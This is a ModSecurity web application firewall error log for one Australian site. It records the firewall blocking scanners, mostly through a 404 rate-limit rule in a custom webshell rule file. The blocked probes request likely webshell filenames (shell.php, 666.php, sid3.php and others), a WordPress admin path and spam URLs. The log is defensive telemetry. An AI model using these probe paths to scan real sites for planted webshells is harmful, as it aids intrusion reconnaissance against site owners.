[Thu Apr 23 03:07:09.889269 2026] [:error] [pid 6252:tid 6315] [client 176.57.188.217:53954] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aekcXetGYuiYb1nWBpSNXwAAAQM"]
[Thu Apr 23 03:07:12.509634 2026] [:error] [pid 6384:tid 6407] [client 176.57.188.217:53958] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aekcYD58M3t15ICeWHXvcQAAANQ"]
[Thu Apr 23 03:07:16.296635 2026] [:error] [pid 9085:tid 9092] [client 176.57.188.217:53962] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aekcZN-_-or9vQnlWnpboAAAAUU"]
[Thu Apr 23 03:07:20.405496 2026] [:error] [pid 6344:tid 6370] [client 176.57.188.217:52832] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aekcaEDOTF-pkQnDeUlRDAAAABU"]
[Thu Apr 23 03:07:22.931869 2026] [:error] [pid 23776:tid 23786] [client 176.57.188.217:52844] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aekcarRExf-1pAbSeJt1LAAAAYg"]
[Thu Apr 23 03:07:25.690534 2026] [:error] [pid 9085:tid 9088] [client 176.57.188.217:52850] [client 176.57.188.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aekcbd-_-or9vQnlWnpbuAAAAUE"]
[Thu Apr 23 05:17:46.898524 2026] [:error] [pid 42972:tid 43026] [client 182.44.10.67:36426] [client 182.44.10.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aek6-sOAb-3sOknsk4foLgAAAEo"]
[Thu Apr 23 05:30:28.446771 2026] [:error] [pid 42971:tid 43000] [client 51.107.217.123:23759] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aek99DEP2_5RswrH8bF3nwAAAA4"]
[Thu Apr 23 05:30:29.513498 2026] [:error] [pid 42973:tid 43059] [client 51.107.217.123:35160] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aek99W6I0QqmmmLTHE2d-wAAAJA"]
[Thu Apr 23 05:30:33.277780 2026] [:error] [pid 42973:tid 43054] [client 51.107.217.123:31338] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aek9-W6I0QqmmmLTHE2eBAAAAIs"]
[Thu Apr 23 05:30:36.403471 2026] [:error] [pid 25635:tid 25650] [client 51.107.217.123:23402] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aek9_MRxv6UsgRGKB3KNDAAAAQs"]
[Thu Apr 23 05:30:37.778337 2026] [:error] [pid 42972:tid 43038] [client 51.107.217.123:2508] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/term.php"] [unique_id "aek9_cOAb-3sOknsk4fqtgAAAFY"]
[Thu Apr 23 05:30:41.948925 2026] [:error] [pid 25635:tid 25662] [client 51.107.217.123:3067] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/term.php"] [unique_id "aek-AcRxv6UsgRGKB3KNFQAAARc"]
[Thu Apr 23 05:30:45.281312 2026] [:error] [pid 42971:tid 42993] [client 51.107.217.123:2537] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/term.php"] [unique_id "aek-BTEP2_5RswrH8bF3sQAAAAc"]
[Thu Apr 23 05:30:46.902402 2026] [:error] [pid 42973:tid 43065] [client 51.107.217.123:2495] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/term.php"] [unique_id "aek-Bm6I0QqmmmLTHE2eGwAAAJY"]
[Thu Apr 23 05:30:49.525949 2026] [:error] [pid 43083:tid 43089] [client 51.107.217.123:2441] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aek-CTC5hrvNXosL83KCLgAAAMQ"]
[Thu Apr 23 05:30:50.146547 2026] [:error] [pid 43083:tid 43100] [client 51.107.217.123:2524] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aek-CjC5hrvNXosL83KCNgAAAM8"]
[Thu Apr 23 05:30:51.546942 2026] [:error] [pid 25635:tid 25644] [client 51.107.217.123:29081] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aek-C8Rxv6UsgRGKB3KNMAAAAQU"]
[Thu Apr 23 05:30:52.869080 2026] [:error] [pid 25635:tid 25641] [client 51.107.217.123:17649] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aek-DMRxv6UsgRGKB3KNMgAAAQI"]
[Thu Apr 23 05:30:55.491105 2026] [:error] [pid 25635:tid 25655] [client 51.107.217.123:20425] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aek-D8Rxv6UsgRGKB3KNOgAAARA"]
[Thu Apr 23 05:30:57.228871 2026] [:error] [pid 42972:tid 43037] [client 51.107.217.123:23029] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aek-EcOAb-3sOknsk4fqyAAAAFU"]
[Thu Apr 23 05:31:07.847686 2026] [:error] [pid 42973:tid 43058] [client 51.107.217.123:18022] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aek-G26I0QqmmmLTHE2eJgAAAI8"]
[Thu Apr 23 05:31:10.996786 2026] [:error] [pid 42971:tid 43009] [client 51.107.217.123:17621] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aek-HjEP2_5RswrH8bF3xQAAABc"]
[Thu Apr 23 05:31:13.648676 2026] [:error] [pid 42973:tid 43061] [client 51.107.217.123:29063] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aek-IW6I0QqmmmLTHE2eMwAAAJI"]
[Thu Apr 23 05:31:14.684575 2026] [:error] [pid 42973:tid 43046] [client 51.107.217.123:21507] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aek-Im6I0QqmmmLTHE2eNgAAAIM"]
[Thu Apr 23 05:31:15.935561 2026] [:error] [pid 25635:tid 25640] [client 51.107.217.123:35123] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aek-I8Rxv6UsgRGKB3KNUwAAAQE"]
[Thu Apr 23 05:31:18.419019 2026] [:error] [pid 42973:tid 43067] [client 51.107.217.123:20478] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aek-Jm6I0QqmmmLTHE2eOQAAAJg"]
[Thu Apr 23 05:31:22.636465 2026] [:error] [pid 43083:tid 43094] [client 51.107.217.123:2493] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aek-KjC5hrvNXosL83KCpwAAAMk"]
[Thu Apr 23 05:31:23.887562 2026] [:error] [pid 25635:tid 25657] [client 51.107.217.123:45889] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aek-K8Rxv6UsgRGKB3KNWQAAARI"]
[Thu Apr 23 05:31:24.658591 2026] [:error] [pid 42972:tid 43025] [client 51.107.217.123:46380] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aek-LMOAb-3sOknsk4fqzgAAAEk"]
[Thu Apr 23 05:31:51.212376 2026] [:error] [pid 25635:tid 25661] [client 51.107.217.123:35082] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aek-R8Rxv6UsgRGKB3KNsgAAARY"]
[Thu Apr 23 05:31:52.119526 2026] [:error] [pid 43083:tid 43089] [client 51.107.217.123:19596] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aek-SDC5hrvNXosL83KC6wAAAMQ"]
[Thu Apr 23 05:31:54.498321 2026] [:error] [pid 42973:tid 43045] [client 51.107.217.123:28581] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aek-Sm6I0QqmmmLTHE2eWAAAAII"]
[Thu Apr 23 05:31:56.379699 2026] [:error] [pid 42972:tid 43040] [client 51.107.217.123:37024] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aek-TMOAb-3sOknsk4fq7AAAAFg"]
[Thu Apr 23 05:31:58.001943 2026] [:error] [pid 25635:tid 25658] [client 51.107.217.123:27688] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aek-TsRxv6UsgRGKB3KNwgAAARM"]
[Thu Apr 23 05:31:58.731084 2026] [:error] [pid 25635:tid 25652] [client 51.107.217.123:2960] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aek-TsRxv6UsgRGKB3KNxgAAAQ0"]
[Thu Apr 23 05:32:00.852691 2026] [:error] [pid 25635:tid 25656] [client 51.107.217.123:47073] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aek-UMRxv6UsgRGKB3KNzgAAARE"]
[Thu Apr 23 05:32:02.472560 2026] [:error] [pid 25635:tid 25655] [client 51.107.217.123:22219] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aek-UsRxv6UsgRGKB3KN1QAAARA"]
[Thu Apr 23 05:32:06.608954 2026] [:error] [pid 25635:tid 25645] [client 51.107.217.123:2955] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aek-VsRxv6UsgRGKB3KN6wAAAQY"]
[Thu Apr 23 05:32:09.923377 2026] [:error] [pid 42973:tid 43046] [client 51.107.217.123:28155] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aek-WW6I0QqmmmLTHE2eWwAAAIM"]
[Thu Apr 23 05:32:11.750506 2026] [:error] [pid 42972:tid 43019] [client 51.107.217.123:46414] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aek-W8OAb-3sOknsk4fq9gAAAEM"]
[Thu Apr 23 05:32:13.973313 2026] [:error] [pid 42973:tid 43044] [client 51.107.217.123:21606] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aek-XW6I0QqmmmLTHE2eXAAAAIE"]
[Thu Apr 23 05:32:14.717096 2026] [:error] [pid 43083:tid 43100] [client 51.107.217.123:32740] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws48.php"] [unique_id "aek-XjC5hrvNXosL83KDAAAAAM8"]
[Thu Apr 23 05:32:17.537545 2026] [:error] [pid 43083:tid 43104] [client 51.107.217.123:32736] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws48.php"] [unique_id "aek-YTC5hrvNXosL83KDBwAAANM"]
[Thu Apr 23 05:32:18.202452 2026] [:error] [pid 25635:tid 25646] [client 51.107.217.123:28102] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws48.php"] [unique_id "aek-YsRxv6UsgRGKB3KOFwAAAQc"]
[Thu Apr 23 05:32:19.525804 2026] [:error] [pid 43083:tid 43108] [client 51.107.217.123:31040] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws48.php"] [unique_id "aek-YzC5hrvNXosL83KDCAAAANc"]
[Thu Apr 23 05:32:21.579948 2026] [:error] [pid 42971:tid 43003] [client 51.107.217.123:2855] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aek-ZTEP2_5RswrH8bF37QAAABE"]
[Thu Apr 23 05:32:24.181437 2026] [:error] [pid 42972:tid 43040] [client 51.107.217.123:32733] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aek-aMOAb-3sOknsk4fq_QAAAFg"]
[Thu Apr 23 05:32:28.119895 2026] [:error] [pid 43083:tid 43105] [client 51.107.217.123:35231] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aek-bDC5hrvNXosL83KDFAAAANQ"]
[Thu Apr 23 05:32:29.471271 2026] [:error] [pid 42973:tid 43065] [client 51.107.217.123:18308] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aek-bW6I0QqmmmLTHE2ebwAAAJY"]
[Thu Apr 23 05:32:30.573393 2026] [:error] [pid 25635:tid 25639] [client 51.107.217.123:2561] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aek-bsRxv6UsgRGKB3KOSAAAAQA"]
[Thu Apr 23 05:32:32.375167 2026] [:error] [pid 25635:tid 25645] [client 51.107.217.123:2861] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aek-cMRxv6UsgRGKB3KOUwAAAQY"]
[Thu Apr 23 05:32:36.472494 2026] [:error] [pid 42971:tid 42997] [client 51.107.217.123:20794] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aek-dDEP2_5RswrH8bF38wAAAAs"]
[Thu Apr 23 05:32:40.760185 2026] [:error] [pid 42973:tid 43053] [client 51.107.217.123:2763] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aek-eG6I0QqmmmLTHE2edgAAAIo"]
[Thu Apr 23 05:33:02.903970 2026] [:error] [pid 42972:tid 43033] [client 51.107.217.123:33822] [client 51.107.217.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Jcrop.php"] [unique_id "aek-jsOAb-3sOknsk4frJQAAAFE"]
